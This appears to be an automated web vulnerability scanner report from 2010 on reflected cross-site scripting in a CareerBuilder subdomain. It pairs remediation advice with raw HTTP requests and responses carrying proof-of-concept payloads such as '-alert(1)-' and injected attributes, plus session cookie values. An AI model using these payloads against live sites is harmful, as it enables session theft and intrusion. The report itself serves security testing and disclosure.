Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51115"%20a%3db%20d5b4f13e8c1 was submitted in the lr parameter. This input was echoed as 51115" a=b d5b4f13e8c1 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /?lr=cbcb_mhf48aa51115"%20a%3db%20d5b4f13e8c1 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 235413 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" X-Powered-By: ASP.NET X-PBY: BEAR35 Date: Sun, 14 Nov 2010 23:28:14 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 270f0"%20a%3db%20e3d0cbef4fe was submitted in the lr parameter. This input was echoed as 270f0" a=b e3d0cbef4fe in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida/?lr=cbcb_mhf48aa270f0"%20a%3db%20e3d0cbef4fe HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 195258 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR10 Date: Sun, 14 Nov 2010 23:08:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53581'-alert(1)-'707915ba59b was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida/?lr=cbcb_mhf48aa53581'-alert(1)-'707915ba59b HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196172 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR35 Date: Sun, 14 Nov 2010 23:12:04 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Florid ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa53581'-alert(1)-'707915ba59b&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cca06'%3b229e8665375 was submitted in the REST URL parameter 2. This input was echoed as cca06';229e8665375 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miamicca06'%3b229e8665375?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&sc=1&ff=21&excrit=QID=A3853799236048;st=a;use=ALL;TID=0;CTY=Miami;SID=FL;CID=US;ENR=NO;DTP=DRNS;YDI=YES;IND=ALL;PDQ=All;PDQ=All;PAYL=0;PAYH=gt120;POY=NO;ETD=ALL;RE=ALL;MGT=DC;SUP=DC;FRE=30;CHL=ag;QS=sid_unknown;SS=NO;TITL=0;OB=-modifiedint;RAD=30;JQT=RAD;JDV=False;ExpHigh=gt50;ExpLow=0;MaxLowExp=-1 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 193512 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miamicca06';229e8665375:mxdl41=pg=1&sc=1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR8 Date: Sun, 14 Nov 2010 23:17:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miamic ...[SNIP]... <script language="JavaScript"> var googlekw = 'Miamicca06';229E8665375 Accounting Jobs on CareerBuilder.com'; </script> ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58a13"%20a%3db%207e7fcc80efe was submitted in the lr parameter. This input was echoed as 58a13" a=b 7e7fcc80efe in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami?lr=cbcb_mhf48aa58a13"%20a%3db%207e7fcc80efe HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 191257 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:05:15 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 59906'-alert(1)-'795c61b5e19 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami?lr=cbcb_mhf48aa59906'-alert(1)-'795c61b5e19 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 191944 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR4 Date: Sun, 14 Nov 2010 23:06:10 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa59906'-alert(1)-'795c61b5e19&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f48aa'-alert(1)-'9d78db8d0a5 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190697 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=742b47a46d174153b38634de2ce397ba-343070627-RE-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6502B7EE094B552B2B70BBA9219CA94E77CE10351649902F41F8211398221DB738F2E1EB2D4C61F7C85; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:46 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:46 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL14 Date: Sun, 14 Nov 2010 22:23:46 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e36f"%20a%3db%20a374526cf1f was submitted in the lr parameter. This input was echoed as 3e36f" a=b a374526cf1f in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami/?lr=cbcb_mh3e36f"%20a%3db%20a374526cf1f&SiteID=cbcb_mh031 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190052 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=4c1214c5309e47ab9c6e1f3f48696a30-343070602-R8-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508CD4B507BB40F27D5D49BB4DD41970517DAD82ED8DF2ADD73243653D37836DEF1D333B1CB075ACFF; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:23:22 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:38:22 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL8 Date: Sun, 14 Nov 2010 22:23:21 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9012c"%20a%3db%20369a2cb1a28 was submitted in the lr parameter. This input was echoed as 9012c" a=b 369a2cb1a28 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_Accounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a59012c"%20a%3db%20369a2cb1a28&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 196910 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR44 Date: Sun, 14 Nov 2010 23:06:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ec784'-alert(1)-'194462e6124 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_Accounting.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5ec784'-alert(1)-'194462e6124&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197437 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR22 Date: Sun, 14 Nov 2010 23:08:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5ec784'-alert(1)-'194462e6124&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f1a9"%20a%3db%20e961c1b811c was submitted in the lr parameter. This input was echoed as 9f1a9" a=b e961c1b811c in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_AccountsPayable.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a59f1a9"%20a%3db%20e961c1b811c&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197275 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountspayable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR41 Date: Sun, 14 Nov 2010 23:05:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c701a'-alert(1)-'781f62259bc was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_AccountsPayable.htm?IPath=OCP&lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c701a'-alert(1)-'781f62259bc&ff=21 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 197657 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountspayable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR32 Date: Sun, 14 Nov 2010 23:06:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa'-alert(1)-'9d78db8d0a5c701a'-alert(1)-'781f62259bc&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7ba5c'-alert(1)-'68fa7d568e0 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ag.ic/Florida_Miami_AccountsReceivable.htm?IPath=OCP&lr=cbcb_mhf48aa7ba5c'-alert(1)-'68fa7d568e0 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190323 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_accountsreceivable.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR14 Date: Sun, 14 Nov 2010 23:14:45 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... ntroHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mhf48aa7ba5c'-alert(1)-'68fa7d568e0&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be2ee"%20a%3db%20fed0e7e8bc3 was submitted in the lr parameter. This input was echoed as be2ee" a=b fed0e7e8bc3 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /ag.ic/Florida_Miami_AccountsReceivable.htm?IPath=OCP&lr=cbcb_mhf48aabe2ee"%20a%3db%20fed0e7e8bc3 HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 195095 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: jobresults.aspx:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR1 Date: Sun, 14 Nov 2010 23:11:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
